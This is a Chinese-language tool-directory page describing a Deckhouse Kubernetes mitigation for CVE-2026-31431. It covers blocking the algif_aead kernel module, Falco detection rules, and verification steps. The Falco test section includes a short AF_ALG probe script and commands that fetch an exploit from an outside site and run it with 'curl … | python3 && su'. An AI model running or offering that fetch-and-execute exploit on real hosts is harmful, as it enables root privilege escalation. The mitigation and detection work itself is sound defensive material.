Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
d8-copy-fail-mitigation — Kubernetes-native CVE-2026-31431 mitigation with automated kernel module blocking, runtime Falco detection rules, and bashible-based node configuration for Deckhouse clusters. | Kitploit
工具/GitHubGitHub/deckhouse/d8-copy-fail-mitigation
容器安全漏洞分析配置审计云安全入侵检测事件响应
GitHubdeckhouse/d8-copy-fail-mitigation

d8-copy-fail-mitigation

Kubernetes-native CVE-2026-31431 mitigation with automated kernel module blocking, runtime Falco detection rules, and bashible-based node configuration for Deckhouse clusters.

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
查看仓库
23个月前尚未审核

CVE-2026-31431 缓解方案 for Deckhouse Kubernetes Platform

Language: 中文 | Русский

关于漏洞

CVE-2026-31431 是 Linux 内核 algif_aead 模块中的一个漏洞,该模块通过 AF_ALG 套接字家族将内核加密 API 暴露给用户空间。AEAD(带关联数据的认证加密)接口存在缺陷,允许本地非特权用户通过提交精心构造的 scatter-gather 列表触发内核内存损坏,从而导致本地权限提升或拒绝服务。

该漏洞的攻击面可从任何进程(包括非特权容器)触及,前提是允许其调用 socket(AF_ALG, SOCK_SEQPACKET, 0) 并绑定到 aead 类型的算法。容器运行时若未删除默认 seccomp 配置或未限制 socket 系统调用家族,则会将集群节点暴露于该攻击。

在通过操作系统包更新部署上游内核补丁之前,推荐的缓解措施是在每个集群节点上禁用 algif_aead 内核模块,并在运行时检测利用尝试。

本仓库中的文件

本仓库包含在 Deckhouse 管理的集群上缓解 CVE-2026-31431 所需的所有内容:

文件用途

ngc-cve-2026-31431.yaml — 节点端缓解措施

NodeGroupConfiguration 通过 bashible 在每个节点上运行,并执行四个步骤:

  1. 探测 — 打开一个 AF_ALG 套接字并绑定到 aead/gcm(aes),以确定节点上是否存在易受攻击的接口。
  2. 阻止 — 写入 /etc/modprobe.d/disable-algif.conf,包含 install 指令,防止 algif_aead(以及其上层模块 af_alg)再次被加载(无论是手动加载还是作为依赖加载)。
  3. 卸载 — 如果模块当前已加载,则运行 rmmod algif_aead。如果模块已编译进内核,则跳过此步骤(此时仅应用黑名单 + 运行时检测)。
  4. 验证 — 重新运行探测,如果 AEAD 接口仍然可达,则 bashible 步骤失败(非零退出),从而使 bashible 状态显示该节点未被缓解。

幂等性:在已缓解的节点上重新运行配置不会产生任何效果。

far-cve-2026-31431.yaml — 运行时检测

FalcoAuditRules 资源添加了一个自定义 Falco 规则,当某个进程打开一个 AF_ALG 套接字并将其绑定到 aead 算法时(这是该攻击特有的系统调用模式),将触发一个 Critical 事件。此外,当某个进程尝试通过 modprobe/insmod 加载 algif_aead 模块时,会发出一个 Warning 事件,在已缓解的节点上,这不应成功,并且是攻击尝试或操作员配置错误的强烈信号。

版本说明: FalcoAuditRules 由 runtime-audit-engine 模块协调,该模块仅随 Deckhouse 企业版 (EE) 和 认证安全版 (CSE) 提供。在社区版中,该资源不会被处理;本仓库中的 NodeGroupConfiguration 仍然适用,并且是主要的缓解措施。

应用

root@kitploit:~
kubectl apply -f ngc-cve-2026-31431.yaml
# 仅 EE / CSE:
kubectl apply -f far-cve-2026-31431.yaml

等待收敛

通过观察每个 NodeGroup 的状态,等待配置在所有节点上应用。Bashible 会将每个步骤的成功状态报告回 NodeGroup,Deckhouse 将其聚合到两个可轮询的字段中:

  • .status.upToDate — 最新 bashible 运行成功且配置正确的节点数。当每个组的 upToDate == nodes 时,即表示收敛。
  • .status.conditionSummary.ready — 组健康时为 "True";如果任何节点的 bashible 步骤失败,则变为 "False" 并附带人类可读的原因,该原因位于 .status.conditionSummary.statusMessage 中(这正是 NodeGroupConfiguration 中验证步骤在无法应用修复的节点上所做的)。

所有组的单次查看:

root@kitploit:~
kubectl get nodegroups
root@kitploit:~
NAME      TYPE      READY   NODES   UPTODATE   ...   STATUS MESSAGE
master    Static    3       3       3
worker    Cloud     5       5       5

一个可脚本化的检查,仅当所有组均为收敛时退出 0:

root@kitploit:~
kubectl get nodegroups -o json | jq -e '
  .items[]
  | select((.status.upToDate // 0) != (.status.nodes // 0)
        or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"

如果某个 NodeGroup 卡在 conditionSummary.ready == "False",请读取 .status.conditionSummary.statusMessage — 它会显示失败的 bashible 步骤,包括来自此缓解方案的验证步骤。

回滚

一旦包含官方修复的上游内核包安装到每个节点上,请删除两个资源:

root@kitploit:~
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml

删除 NodeGroupConfiguration 不会自动删除 /etc/modprobe.d/disable-algif.conf — 如果您希望模块可再次加载,请手动清理该文件;如果集群中没有工作负载使用内核加密 API,则可以保留黑名单。

手动验证

集群范围:

root@kitploit:~
kubectl get nodegroups

UPTODATE 应等于 NODES,并且每个组的状态消息列应为空。

在节点上(SSH 或 kubectl debug node/<name> + chroot /host):

root@kitploit:~
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"

预期结果:

  • cat 显示四行 install / blacklist 行。
  • lsmod 输出为空。
  • modprobe -n -v 打印 install /bin/false。
  • modprobe 返回 exit=1。

验证 Falco 规则触发

使用此小节验证针对 CVE-2026-31431 的自定义 FalcoAuditRules 是否确实在每次 PoC 运行时触发。

两种场景的共同预检查:

  1. 验证 runtime-audit-engine 在所有节点上健康:
root@kitploit:~
kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
  -o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide

预期:DESIRED == READY == AVAILABLE。

  1. 应用/更新规则:
root@kitploit:~
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
  1. 启动日志流(可选,单独终端):
root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m

从容器验证

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s

# 重要:使用 -i 以便 Python 接收 stdin 脚本
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY

kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'

清理:

root@kitploit:~
kubectl delete pod cve-31431-test --ignore-not-found

从集群宿主机验证

安全警告: 始终在执行前审查任何下载的脚本。请勿在生产环境中盲目运行远程脚本。

推荐(先审查,再运行):

root@kitploit:~
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su

等效单行命令(仅限审查/批准后):

root@kitploit:~
curl https://copy.fail/exp | python3 && su

检查检测结果:

root@kitploit:~
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
  | grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
下载工具
ngc-cve-2026-31431.yaml
NodeGroupConfiguration 配置,用于探测易受攻击的接口、阻止加载 algif_aead、卸载当前已加载的模块,并验证修复是否生效。适用于所有 bundle 和节点组。
far-cve-2026-31431.yamlFalcoAuditRules 配置,用于检测运行时通过绑定到 AEAD 算法的 AF_ALG 套接字进行的漏洞利用尝试。仅在 Deckhouse 企业版 (EE) 和认证安全版 (CSE) 中可用,因为 runtime-audit-engine 模块仅在这些版本中附带。